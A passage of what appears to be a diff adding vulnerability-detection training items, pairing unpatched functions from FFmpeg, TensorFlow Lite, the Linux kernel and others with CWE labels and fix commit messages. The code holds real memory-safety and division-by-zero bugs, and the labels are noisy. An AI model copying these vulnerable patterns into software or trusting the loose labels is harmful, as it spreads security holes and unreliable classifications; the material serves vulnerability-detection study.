> 68 ||\n            (ctx->mb_height << frame->interlaced_frame) > (ctx->height + 15) >> 4) {\n            av_log(ctx->avctx, AV_LOG_ERROR,\n                   \"mb height too big: %d\\n\", ctx->mb_height);\n            return AVERROR_INVALIDDATA;\n        }\n        ctx->data_offset = 0x280;\n    }\n\n    if (buf_size < ctx->data_offset) {\n        av_log(ctx->avctx, AV_LOG_ERROR,\n               \"buffer too small (%d < %d).\\n\", buf_size, ctx->data_offset);\n        return AVERROR_INVALIDDATA;\n    }\n\n    if (ctx->mb_height > FF_ARRAY_ELEMS(ctx->mb_scan_index)) {\n        av_log(ctx->avctx, AV_LOG_ERROR,\n               \"mb_height too big (%d > %\"SIZE_SPECIFIER\").\\n\", ctx->mb_height, FF_ARRAY_ELEMS(ctx->mb_scan_index));\n        return AVERROR_INVALIDDATA;\n    }\n\n    for (i = 0; i < ctx->mb_height; i++) {\n        ctx->mb_scan_index[i] = AV_RB32(buf + 0x170 + (i << 2));\n        ff_dlog(ctx->avctx, \"mb scan index %d, pos %d: %\"PRIu32\"\\n\",\n                i, 0x170 + (i << 2), ctx->mb_scan_index[i]);\n        if (buf_size - ctx->data_offset < ctx->mb_scan_index[i]) {\n            av_log(ctx->avctx, AV_LOG_ERROR,\n                   \"invalid mb scan index (%\"PRIu32\" vs %u).\\n\",\n                   ctx->mb_scan_index[i], buf_size - ctx->data_offset);\n            return AVERROR_INVALIDDATA;\n        }\n    }\n\n    return 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-125'], 'message': 'avcodec/dnxhddec: Move mb height check out of non hr branch\n\nFixes: out of array access\nFixes: poc.dnxhd\n\nFound-by: Bingchang, Liu@VARAS of IIE\nSigned-off-by: Michael Niedermayer '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: void fmtutil_macbitmap_read_pixmap_only_fields(deark *c, dbuf *f, struct fmtutil_macbitmap_info *bi,\n\ti64 pos)\n{\n\ti64 pixmap_version;\n\ti64 pack_size;\n\ti64 plane_bytes;\n\ti64 n;\n\n\tde_dbg(c, \"additional PixMap header fields, at %d\", (int)pos);\n\tde_dbg_indent(c, 1);\n\n\tpixmap_version = dbuf_getu16be(f, pos+0);\n\tde_dbg(c, \"pixmap version: %d\", (int)pixmap_version);\n\n\tbi->packing_type = dbuf_getu16be(f, pos+2);\n\tde_dbg(c, \"packing type: %d\", (int)bi->packing_type);\n\n\tpack_size = dbuf_getu32be(f, pos+4);\n\tde_dbg(c, \"pixel data length: %d\", (int)pack_size);\n\n\tbi->hdpi = pict_read_fixed(f, pos+8);\n\tbi->vdpi = pict_read_fixed(f, pos+12);\n\tde_dbg(c, \"dpi: %.2f\"DE_CHAR_TIMES\"%.2f\", bi->hdpi, bi->vdpi);\n\n\tbi->pixeltype = dbuf_getu16be(f, pos+16);\n\tbi->pixelsize = dbuf_getu16be(f, pos+18);\n\tbi->cmpcount = dbuf_getu16be(f, pos+20);\n\tbi->cmpsize = dbuf_getu16be(f, pos+22);\n\tde_dbg(c, \"pixel type=%d, bits/pixel=%d, components/pixel=%d, bits/comp=%d\",\n\t\t(int)bi->pixeltype, (int)bi->pixelsize, (int)bi->cmpcount, (int)bi->cmpsize);\n\n\tbi->pdwidth = (bi->rowbytes*8)/bi->pixelsize;\n\tif(bi->pdwidth < bi->npwidth) {\n\t\tbi->pdwidth = bi->npwidth;\n\t}\n\n\tplane_bytes = dbuf_getu32be(f, pos+24);\n\tde_dbg(c, \"plane bytes: %d\", (int)plane_bytes);\n\n\tbi->pmTable = (u32)dbuf_getu32be(f, pos+28);\n\tde_dbg(c, \"pmTable: 0x%08x\", (unsigned int)bi->pmTable);\n\n\tn = dbuf_getu32be(f, pos+32);\n\tde_dbg(c, \"pmReserved: 0x%08x\", (unsigned int)n);\n\n\tde_dbg_indent(c, -1);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-369'], 'message': 'pict,macrsrc: Fixed a bug that could cause division by 0\n\nFound by F. \u00c7elik.'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: TfLiteStatus PopulateQuantizedLstmParams8x8_16(\n    TfLiteContext* context, TfLiteNode* node,\n    lstm_eval::IntegerLstmParameter* integer_lstm_param) {\n  // Calculate quantized clip for projection and cell.\n  const auto* params =\n      static_cast(node->builtin_data);\n  const float cell_clip = params->cell_clip;\n  const float proj_clip = params->proj_clip;\n\n  const TfLiteTensor* cell_state =\n      GetVariableInput(context, node, lstm::full::kCellStateTensor);\n  TF_LITE_ENSURE(context, cell_state != nullptr);\n  TfLiteTensor* output_tensor;\n  TF_LITE_ENSURE_OK(\n      context,\n      GetOutputSafe(context, node, lstm::full::kOutputTensor, &output_tensor));\n\n  auto* cell_state_params =\n      static_cast(cell_state->quantization.params);\n  auto* proj_params = static_cast(\n      output_tensor->quantization.params);\n  if (cell_clip > 0.0) {\n    integer_lstm_param->quantized_cell_clip = static_cast(std::min(\n        std::max(cell_clip / cell_state_params->scale->data[0], -32768.0f),\n        32767.0f));\n  } else {\n    integer_lstm_param->quantized_cell_clip = 0;\n  }\n  if (proj_clip > 0.0) {\n    integer_lstm_param->quantized_proj_clip = static_cast(std::min(\n        std::max(proj_clip / proj_params->scale->data[0], -128.0f), 127.0f));\n  } else {\n    integer_lstm_param->quantized_proj_clip = 0;\n  }\n\n  // Calculate effective scales.\n  OpData* op_data = static_cast(node->user_data);\n  const bool use_layer_norm = op_data->use_layer_norm;\n\n  const TfLiteTensor* input;\n  TF_LITE_ENSURE_OK(\n      context, GetInputSafe(context, node, lstm::full::kInputTensor, &input));\n\n  const TfLiteTensor* input_to_input_weights = GetOptionalInputTensor(\n      context, node, lstm::full::kInputToInputWeightsTensor);\n  const TfLiteTensor* input_to_forget_weights;\n  TF_LITE_ENSURE_OK(\n      context,\n      GetInputSafe(context, node, lstm::full::kInputToForgetWeightsTensor,\n                   &input_to_forget_weights));\n  const TfLiteTensor* input_to_cell_weights;\n  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node,\n                                          lstm::full::kInputToCellWeightsTensor,\n                                          &input_to_cell_weights));\n  const TfLiteTensor* input_to_output_weights;\n  TF_LITE_ENSURE_OK(\n      context,\n      GetInputSafe(context, node, lstm::full::kInputToOutputWeightsTensor,\n                   &input_to_output_weights));\n\n  const TfLiteTensor* recurrent_to_input_weights = GetOptionalInputTensor(\n      context, node, lstm::full::kRecurrentToInputWeightsTensor);\n  const TfLiteTensor* recurrent_to_forget_weights;\n  TF_LITE_ENSURE_OK(\n      context,\n      GetInputSafe(context, node, lstm::full::kRecurrentToForgetWeightsTensor,\n                   &recurrent_to_forget_weights));\n  const TfLiteTensor* recurrent_to_cell_weights;\n  TF_LITE_ENSURE_OK(\n      context,\n      GetInputSafe(context, node, lstm::full::kRecurrentToCellWeightsTensor,\n                   &recurrent_to_cell_weights));\n  const TfLiteTensor* recurrent_to_output_weights;\n  TF_LITE_ENSURE_OK(\n      context,\n      GetInputSafe(context, node, lstm::full::kRecurrentToOutputWeightsTensor,\n                   &recurrent_to_output_weights));\n\n  const TfLiteTensor* cell_to_input_weights = GetOptionalInputTensor(\n      context, node, lstm::full::kCellToInputWeightsTensor);\n  const TfLiteTensor* cell_to_forget_weights = GetOptionalInputTensor(\n      context, node, lstm::full::kCellToForgetWeightsTensor);\n  const TfLiteTensor* cell_to_output_weights = GetOptionalInputTensor(\n      context, node, lstm::full::kCellToOutputWeightsTensor);\n\n  const TfLiteTensor* input_layer_norm_coefficients = GetOptionalInputTensor(\n      context, node, lstm::full::kInputLayerNormCoefficientsTensor);\n  const TfLiteTensor* forget_layer_norm_coefficients = GetOptionalInputTensor(\n      context, node, lstm::full::kForgetLayerNormCoefficientsTensor);\n  const TfLiteTensor* cell_layer_norm_coefficients = GetOptionalInputTensor(\n      context, node, lstm::full::kCellLayerNormCoefficientsTensor);\n  const TfLiteTensor* output_layer_norm_coefficients = GetOptionalInputTensor(\n      context, node, lstm::full::kOutputLayerNormCoefficientsTensor);\n\n  const TfLiteTensor* projection_weights = GetOptionalInputTensor(\n      context, node, lstm::full::kProjectionWeightsTensor);\n\n  TfLiteTensor* output_state =\n      GetVariableInput(context, node, lstm::full::kOutputStateTensor);\n  TF_LITE_ENSURE(context, output_state != nullptr);\n\n  // Since we have already checked that weights are all there or none, we can\n  // check the existence of only one to get the condition.\n  const bool use_cifg = (input_to_input_weights == nullptr);\n  const bool use_peephole = (cell_to_output_weights != nullptr);\n  const bool use_projection = (projection_weights != nullptr);\n\n  // Get intermediate scales and zero points.\n  std::vector intermediate_scale;\n  std::vector intermediate_zp;\n  for (int i = 0; i < 4; ++i) {\n    if (use_layer_norm) {\n      TfLiteTensor* intermediate;\n      TF_LITE_ENSURE_OK(context,\n                        GetIntermediatesSafe(context, node, i, &intermediate));\n      auto* params = static_cast(\n          intermediate->quantization.params);\n      intermediate_scale.push_back(params->scale->data[0]);\n      intermediate_zp.push_back(params->zero_point->data[0]);\n    } else {\n      // Q3.12 for activation functions.\n      intermediate_scale.push_back(std::pow(2, -12));\n      intermediate_zp.push_back(0);\n    }\n  }\n  // In the absence of projection, hidden becomes otuput and this intermediate\n  // is ignored.\n  TfLiteTensor* hidden;\n  TF_LITE_ENSURE_OK(context, GetIntermediatesSafe(context, node, 4, &hidden));\n  auto* hidden_params =\n      static_cast(hidden->quantization.params);\n  intermediate_scale.push_back(hidden_params->scale->data[0]);\n  intermediate_zp.push_back(hidden_params->zero_point->data[0]);\n\n  // Scales.\n  const float default_scale = 1.0;\n  float input_scale = default_scale;\n  float input_to_input_weight_scale = default_scale;\n  float recurrent_to_input_weight_scale = default_scale;\n  float cell_to_input_weight_scale = default_scale;\n  float input_to_forget_weight_scale = default_scale;\n  float recurrent_to_forget_weight_scale = default_scale;\n  float cell_to_forget_weight_scale = default_scale;\n  float input_to_cell_weight_scale = default_scale;\n  float recurrent_to_cell_weight_scale = default_scale;\n  float input_to_output_weight_scale = default_scale;\n  float recurrent_to_output_weight_scale = default_scale;\n  float cell_to_output_weight_scale = default_scale;\n  float projection_weight_scale = default_scale;\n  float layer_norm_input_scale = default_scale;\n  float layer_norm_forget_scale = default_scale;\n  float layer_norm_cell_scale = default_scale;\n  float layer_norm_output_scale = default_scale;\n  float output_state_scale = default_scale;\n  int cell_scale = 1;\n\n  // Effective scales.\n  float effective_input_to_input_scale = default_scale;\n  float effective_recurrent_to_input_scale = default_scale;\n  float effective_cell_to_input_scale = default_scale;\n  float effective_input_to_forget_scale = default_scale;\n  float effective_recurrent_to_forget_scale = default_scale;\n  float effective_cell_to_forget_scale = default_scale;\n  float effective_input_to_cell_scale = default_scale;\n  float effective_recurrent_to_cell_scale = default_scale;\n  float effective_input_to_output_scale = default_scale;\n  float effective_recurrent_to_output_scale = default_scale;\n  float effective_cell_to_output_scale = default_scale;\n  float effective_proj_scale = default_scale;\n  float effective_hidden_scale = default_scale;\n\n  // Populate scales.\n  if (!use_cifg) {\n    input_to_input_weight_scale = input_to_input_weights->params.scale;\n    recurrent_to_input_weight_scale = recurrent_to_input_weights->params.scale;\n  }\n\n  if (use_peephole) {\n    if (!use_cifg) {\n      cell_to_input_weight_scale = cell_to_input_weights->params.scale;\n    }\n    cell_to_forget_weight_scale = cell_to_forget_weights->params.scale;\n    cell_to_output_weight_scale = cell_to_output_weights->params.scale;\n  }\n\n  if (use_layer_norm) {\n    if (!use_cifg) {\n      layer_norm_input_scale = input_layer_norm_coefficients->params.scale;\n    }\n    layer_norm_forget_scale = forget_layer_norm_coefficients->params.scale;\n    layer_norm_cell_scale = cell_layer_norm_coefficients->params.scale;\n    layer_norm_output_scale = output_layer_norm_coefficients->params.scale;\n  }\n\n  if (use_projection) {\n    projection_weight_scale = projection_weights->params.scale;\n  }\n  output_state_scale = output_state->params.scale;\n\n  input_to_forget_weight_scale = input_to_forget_weights->params.scale;\n  input_to_cell_weight_scale = input_to_cell_weights->params.scale;\n  input_to_output_weight_scale = input_to_output_weights->params.scale;\n  recurrent_to_forget_weight_scale = recurrent_to_forget_weights->params.scale;\n  recurrent_to_cell_weight_scale = recurrent_to_cell_weights->params.scale;\n  recurrent_to_output_weight_scale = recurrent_to_output_weights->params.scale;\n\n  // Check cell state (already used above)\n  TF_LITE_ENSURE(context, CheckedLog2(cell_state->params.scale, &cell_scale));\n  // TF_LITE_ENSURE(context, cell_scale <= -9);\n  integer_lstm_param->cell_scale = cell_scale;\n  input_scale = input->params.scale;\n\n  // Calculate effective scales.\n  if (!use_cifg) {\n    effective_input_to_input_scale =\n        input_to_input_weight_scale * input_scale / intermediate_scale[0];\n    effective_recurrent_to_input_scale = recurrent_to_input_weight_scale *\n                                         output_state_scale /\n                                         intermediate_scale[0];\n  }\n  effective_input_to_forget_scale =\n      input_to_forget_weight_scale * input_scale / intermediate_scale[1];\n  effective_recurrent_to_forget_scale = recurrent_to_forget_weight_scale *\n                                        output_state_scale /\n                                        intermediate_scale[1];\n\n  effective_input_to_cell_scale =\n      input_to_cell_weight_scale * input_scale / intermediate_scale[2];\n  effective_recurrent_to_cell_scale = recurrent_to_cell_weight_scale *\n                                      output_state_scale /\n                                      intermediate_scale[2];\n\n  effective_input_to_output_scale =\n      input_to_output_weight_scale * input_scale / intermediate_scale[3];\n  effective_recurrent_to_output_scale = recurrent_to_output_weight_scale *\n                                        output_state_scale /\n                                        intermediate_scale[3];\n\n  effective_hidden_scale =\n      std::pow(2, -15) / intermediate_scale[4] * std::pow(2, -15);\n\n  effective_proj_scale =\n      projection_weight_scale * intermediate_scale[4] / output_state_scale;\n\n  if (use_peephole) {\n    if (!use_cifg) {\n      effective_cell_to_input_scale = std::pow(2, cell_scale) *  // NOLINT\n                                      cell_to_input_weight_scale /\n                                      intermediate_scale[0];\n    }\n    effective_cell_to_forget_scale = std::pow(2, cell_scale) *  // NOLINT\n                                     cell_to_forget_weight_scale /\n                                     intermediate_scale[1];\n    effective_cell_to_output_scale = std::pow(2, cell_scale) *  // NOLINT\n                                     cell_to_output_weight_scale /\n                                     intermediate_scale[3];\n  }\n\n  // Decompose scales.\n  QuantizeMultiplier(effective_input_to_input_scale,\n                     &integer_lstm_param->effective_input_to_input_scale_a,\n                     &integer_lstm_param->effective_input_to_input_scale_b);\n  QuantizeMultiplier(effective_recurrent_to_input_scale,\n                     &integer_lstm_param->effective_recurrent_to_input_scale_a,\n                     &integer_lstm_param->effective_recurrent_to_input_scale_b);\n  QuantizeMultiplier(effective_cell_to_input_scale,\n                     &integer_lstm_param->effective_cell_to_input_scale_a,\n                     &integer_lstm_param->effective_cell_to_input_scale_b);\n  QuantizeMultiplier(effective_input_to_forget_scale,\n                     &integer_lstm_param->effective_input_to_forget_scale_a,\n                     &integer_lstm_param->effective_input_to_forget_scale_b);\n  QuantizeMultiplier(\n      effective_recurrent_to_forget_scale,\n      &integer_lstm_param->effective_recurrent_to_forget_scale_a,\n      &integer_lstm_param->effective_recurrent_to_forget_scale_b);\n  QuantizeMultiplier(effective_cell_to_forget_scale,\n                     &integer_lstm_param->effective_cell_to_forget_scale_a,\n                     &integer_lstm_param->effective_cell_to_forget_scale_b);\n  QuantizeMultiplier(effective_input_to_cell_scale,\n                     &integer_lstm_param->effective_input_to_cell_scale_a,\n                     &integer_lstm_param->effective_input_to_cell_scale_b);\n  QuantizeMultiplier(effective_recurrent_to_cell_scale,\n                     &integer_lstm_param->effective_recurrent_to_cell_scale_a,\n                     &integer_lstm_param->effective_recurrent_to_cell_scale_b);\n  QuantizeMultiplier(effective_input_to_output_scale,\n                     &integer_lstm_param->effective_input_to_output_scale_a,\n                     &integer_lstm_param->effective_input_to_output_scale_b);\n  QuantizeMultiplier(\n      effective_recurrent_to_output_scale,\n      &integer_lstm_param->effective_recurrent_to_output_scale_a,\n      &integer_lstm_param->effective_recurrent_to_output_scale_b);\n  QuantizeMultiplier(effective_cell_to_output_scale,\n                     &integer_lstm_param->effective_cell_to_output_scale_a,\n                     &integer_lstm_param->effective_cell_to_output_scale_b);\n  QuantizeMultiplier(effective_proj_scale,\n                     &integer_lstm_param->effective_proj_scale_a,\n                     &integer_lstm_param->effective_proj_scale_b);\n  QuantizeMultiplier(effective_hidden_scale,\n                     &integer_lstm_param->effective_hidden_scale_a,\n                     &integer_lstm_param->effective_hidden_scale_b);\n  QuantizeMultiplier(layer_norm_input_scale,\n                     &integer_lstm_param->layer_norm_input_scale_a,\n                     &integer_lstm_param->layer_norm_input_scale_b);\n  QuantizeMultiplier(layer_norm_forget_scale,\n                     &integer_lstm_param->layer_norm_forget_scale_a,\n                     &integer_lstm_param->layer_norm_forget_scale_b);\n  QuantizeMultiplier(layer_norm_cell_scale,\n                     &integer_lstm_param->layer_norm_cell_scale_a,\n                     &integer_lstm_param->layer_norm_cell_scale_b);\n  QuantizeMultiplier(layer_norm_output_scale,\n                     &integer_lstm_param->layer_norm_output_scale_a,\n                     &integer_lstm_param->layer_norm_output_scale_b);\n\n  integer_lstm_param->hidden_zp = intermediate_zp[4];\n\n  // 10000 is used to make sure the kernel logic does not overflow.\n  if (!use_cifg) {\n    integer_lstm_param->input_variance_guard =\n        std::max(1, static_cast(10000 * layer_norm_input_scale));\n  }\n  integer_lstm_param->forget_variance_guard =\n      std::max(1, static_cast(10000 * layer_norm_forget_scale));\n  integer_lstm_param->cell_variance_guard =\n      std::max(1, static_cast(10000 * layer_norm_cell_scale));\n  integer_lstm_param->output_variance_guard =\n      std::max(1, static_cast(10000 * layer_norm_output_scale));\n\n  return kTfLiteOk;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-908'], 'message': 'Fix a null pointer exception caused by branching on uninitialized data.\n\nThis is due to not checking that the params for the quantization exists. If there is no quantization, we should not access the `.params` field.\n\nPiperOrigin-RevId: 385168337\nChange-Id: I28661e4f12ba1c92cfeae23d22a3fb2df2a2c6a4'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: pci_lintr_release(struct pci_vdev *dev)\n{\n\tstruct businfo *bi;\n\tstruct slotinfo *si;\n\tint pin;\n\n\tbi = pci_businfo[dev->bus];\n\tassert(bi != NULL);\n\n\tsi = &bi->slotinfo[dev->slot];\n\n\tfor (pin = 1; pin < 4; pin++) {\n\t\tsi->si_intpins[pin].ii_count = 0;\n\t\tsi->si_intpins[pin].ii_pirq_pin = 0;\n\t\tsi->si_intpins[pin].ii_ioapic_irq = 0;\n\t}\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-617', 'CWE-703'], 'message': 'dm: pci: clean up assert() in pci core\n\nTracked-On: #3252\nSigned-off-by: Shuo A Liu \nReviewed-by: Yonghua Huang '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: pci_lintr_request(struct pci_vdev *dev)\n{\n\tstruct businfo *bi;\n\tstruct slotinfo *si;\n\tint bestpin, bestcount, pin;\n\n\tbi = pci_businfo[dev->bus];\n\tassert(bi != NULL);\n\n\t/*\n\t * Just allocate a pin from our slot.  The pin will be\n\t * assigned IRQs later when interrupts are routed.\n\t */\n\tsi = &bi->slotinfo[dev->slot];\n\tbestpin = 0;\n\tbestcount = si->si_intpins[0].ii_count;\n\tfor (pin = 1; pin < 4; pin++) {\n\t\tif (si->si_intpins[pin].ii_count < bestcount) {\n\t\t\tbestpin = pin;\n\t\t\tbestcount = si->si_intpins[pin].ii_count;\n\t\t}\n\t}\n\n\tsi->si_intpins[bestpin].ii_count++;\n\tdev->lintr.pin = bestpin + 1;\n\tpci_set_cfgdata8(dev, PCIR_INTPIN, bestpin + 1);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-617', 'CWE-703'], 'message': 'dm: pci: clean up assert() in pci core\n\nTracked-On: #3252\nSigned-off-by: Shuo A Liu \nReviewed-by: Yonghua Huang '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: pci_get_cfgdata16(struct pci_vdev *dev, int offset)\n{\n\tassert(offset <= (PCI_REGMAX - 1) && (offset & 1) == 0);\n\treturn (*(uint16_t *)(dev->cfgdata + offset));\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-617', 'CWE-703'], 'message': 'dm: pci: clean up assert() in pci core\n\nTracked-On: #3252\nSigned-off-by: Shuo A Liu \nReviewed-by: Yonghua Huang '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: TPM2B_SYM_KEY_Marshal(TPM2B_SYM_KEY *source, BYTE **buffer, INT32 *size)\n{\n    UINT16 written = 0;\n    written += TPM2B_Marshal(&source->b, buffer, size);\n    return written;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-787'], 'message': 'tpm2: Add maxSize parameter to TPM2B_Marshal for sanity checks\n\nAdd maxSize parameter to TPM2B_Marshal and assert on it checking\nthe size of the data intended to be marshaled versus the maximum\nbuffer size.\n\nSigned-off-by: Stefan Berger '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: TPM2B_Marshal(TPM2B *source, BYTE **buffer, INT32 *size)\n{\n    UINT16 written = 0;\n    written += UINT16_Marshal(&(source->size), buffer, size);\n    written += Array_Marshal(source->buffer, source->size, buffer, size); \n    return written;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-787'], 'message': 'tpm2: Add maxSize parameter to TPM2B_Marshal for sanity checks\n\nAdd maxSize parameter to TPM2B_Marshal and assert on it checking\nthe size of the data intended to be marshaled versus the maximum\nbuffer size.\n\nSigned-off-by: Stefan Berger '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static int http_buf_read(URLContext *h, uint8_t *buf, int size)\n{\n    HTTPContext *s = h->priv_data;\n    int len;\n    /* read bytes from input buffer first */\n    len = s->buf_end - s->buf_ptr;\n    if (len > 0) {\n        if (len > size)\n            len = size;\n        memcpy(buf, s->buf_ptr, len);\n        s->buf_ptr += len;\n    } else {\n        int64_t target_end = s->end_off ? s->end_off : s->filesize;\n        if ((!s->willclose || s->chunksize < 0) &&\n            target_end >= 0 && s->off >= target_end)\n            return AVERROR_EOF;\n        len = ffurl_read(s->hd, buf, size);\n        if (!len && (!s->willclose || s->chunksize < 0) &&\n            target_end >= 0 && s->off < target_end) {\n            av_log(h, AV_LOG_ERROR,\n                   \"Stream ends prematurely at %\"PRId64\", should be %\"PRId64\"\\n\",\n                   s->off, target_end\n                  );\n            return AVERROR(EIO);\n        }\n    }\n    if (len > 0) {\n        s->off += len;\n        if (s->chunksize > 0)\n            s->chunksize -= len;\n    }\n    return len;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-119', 'CWE-787'], 'message': 'http: make length/offset-related variables unsigned.\n\nFixes #5992, reported and found by Paul Cher .'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: unsigned int munlock_vma_page(struct page *page)\n{\n\tunsigned int nr_pages;\n\tstruct zone *zone = page_zone(page);\n\n\tBUG_ON(!PageLocked(page));\n\n\t/*\n\t * Serialize with any parallel __split_huge_page_refcount() which\n\t * might otherwise copy PageMlocked to part of the tail pages before\n\t * we clear it in the head page. It also stabilizes hpage_nr_pages().\n\t */\n\tspin_lock_irq(&zone->lru_lock);\n\n\tnr_pages = hpage_nr_pages(page);\n\tif (!TestClearPageMlocked(page))\n\t\tgoto unlock_out;\n\n\t__mod_zone_page_state(zone, NR_MLOCK, -nr_pages);\n\n\tif (__munlock_isolate_lru_page(page, true)) {\n\t\tspin_unlock_irq(&zone->lru_lock);\n\t\t__munlock_isolated_page(page);\n\t\tgoto out;\n\t}\n\t__munlock_isolation_failed(page);\n\nunlock_out:\n\tspin_unlock_irq(&zone->lru_lock);\n\nout:\n\treturn nr_pages - 1;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-400', 'CWE-703', 'CWE-264'], 'message': 'mm: try_to_unmap_cluster() should lock_page() before mlocking\n\nA BUG_ON(!PageLocked) was triggered in mlock_vma_page() by Sasha Levin\nfuzzing with trinity.  The call site try_to_unmap_cluster() does not lock\nthe pages other than its check_page parameter (which is already locked).\n\nThe BUG_ON in mlock_vma_page() is not documented and its purpose is\nsomewhat unclear, but apparently it serializes against page migration,\nwhich could otherwise fail to transfer the PG_mlocked flag.  This would\nnot be fatal, as the page would be eventually encountered again, but\nNR_MLOCK accounting would become distorted nevertheless.  This patch adds\na comment to the BUG_ON in mlock_vma_page() and munlock_vma_page() to that\neffect.\n\nThe call site try_to_unmap_cluster() is fixed so that for page !=\ncheck_page, trylock_page() is attempted (to avoid possible deadlocks as we\nalready have check_page locked) and mlock_vma_page() is performed only\nupon success.  If the page lock cannot be obtained, the page is left\nwithout PG_mlocked, which is again not a problem in the whole unevictable\nmemory design.\n\nSigned-off-by: Vlastimil Babka \nSigned-off-by: Bob Liu \nReported-by: Sasha Levin \nCc: Wanpeng Li \nCc: Michel Lespinasse \nCc: KOSAKI Motohiro \nAcked-by: Rik van Riel \nCc: David Rientjes \nCc: Mel Gorman \nCc: Hugh Dickins \nCc: Joonsoo Kim \nCc: \nSigned-off-by: Andrew Morton \nSigned-off-by: Linus Torvalds '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static int decode_frame(AVCodecContext *avctx, void *data,\n                        int *got_frame, AVPacket *avpkt)\n{\n    EXRContext *s = avctx->priv_data;\n    ThreadFrame frame = { .f = data };\n    AVFrame *picture = data;\n    uint8_t *ptr;\n\n    int i, y, ret, ymax;\n    int planes;\n    int out_line_size;\n    int nb_blocks;   /* nb scanline or nb tile */\n    uint64_t start_offset_table;\n    uint64_t start_next_scanline;\n    PutByteContext offset_table_writer;\n\n    bytestream2_init(&s->gb, avpkt->data, avpkt->size);\n\n    if ((ret = decode_header(s, picture)) < 0)\n        return ret;\n\n    switch (s->pixel_type) {\n    case EXR_FLOAT:\n    case EXR_HALF:\n        if (s->channel_offsets[3] >= 0) {\n            if (!s->is_luma) {\n                avctx->pix_fmt = AV_PIX_FMT_GBRAPF32;\n            } else {\n                /* todo: change this when a floating point pixel format with luma with alpha is implemented */\n                avctx->pix_fmt = AV_PIX_FMT_GBRAPF32;\n            }\n        } else {\n            if (!s->is_luma) {\n                avctx->pix_fmt = AV_PIX_FMT_GBRPF32;\n            } else {\n                avctx->pix_fmt = AV_PIX_FMT_GRAYF32;\n            }\n        }\n        break;\n    case EXR_UINT:\n        if (s->channel_offsets[3] >= 0) {\n            if (!s->is_luma) {\n                avctx->pix_fmt = AV_PIX_FMT_RGBA64;\n            } else {\n                avctx->pix_fmt = AV_PIX_FMT_YA16;\n            }\n        } else {\n            if (!s->is_luma) {\n                avctx->pix_fmt = AV_PIX_FMT_RGB48;\n            } else {\n                avctx->pix_fmt = AV_PIX_FMT_GRAY16;\n            }\n        }\n        break;\n    default:\n        av_log(avctx, AV_LOG_ERROR, \"Missing channel list.\\n\");\n        return AVERROR_INVALIDDATA;\n    }\n\n    if (s->apply_trc_type != AVCOL_TRC_UNSPECIFIED)\n        avctx->color_trc = s->apply_trc_type;\n\n    switch (s->compression) {\n    case EXR_RAW:\n    case EXR_RLE:\n    case EXR_ZIP1:\n        s->scan_lines_per_block = 1;\n        break;\n    case EXR_PXR24:\n    case EXR_ZIP16:\n        s->scan_lines_per_block = 16;\n        break;\n    case EXR_PIZ:\n    case EXR_B44:\n    case EXR_B44A:\n        s->scan_lines_per_block = 32;\n        break;\n    default:\n        avpriv_report_missing_feature(avctx, \"Compression %d\", s->compression);\n        return AVERROR_PATCHWELCOME;\n    }\n\n    /* Verify the xmin, xmax, ymin and ymax before setting the actual image size.\n     * It's possible for the data window can larger or outside the display window */\n    if (s->xmin > s->xmax  || s->ymin > s->ymax ||\n        s->ydelta == 0xFFFFFFFF || s->xdelta == 0xFFFFFFFF) {\n        av_log(avctx, AV_LOG_ERROR, \"Wrong or missing size information.\\n\");\n        return AVERROR_INVALIDDATA;\n    }\n\n    if ((ret = 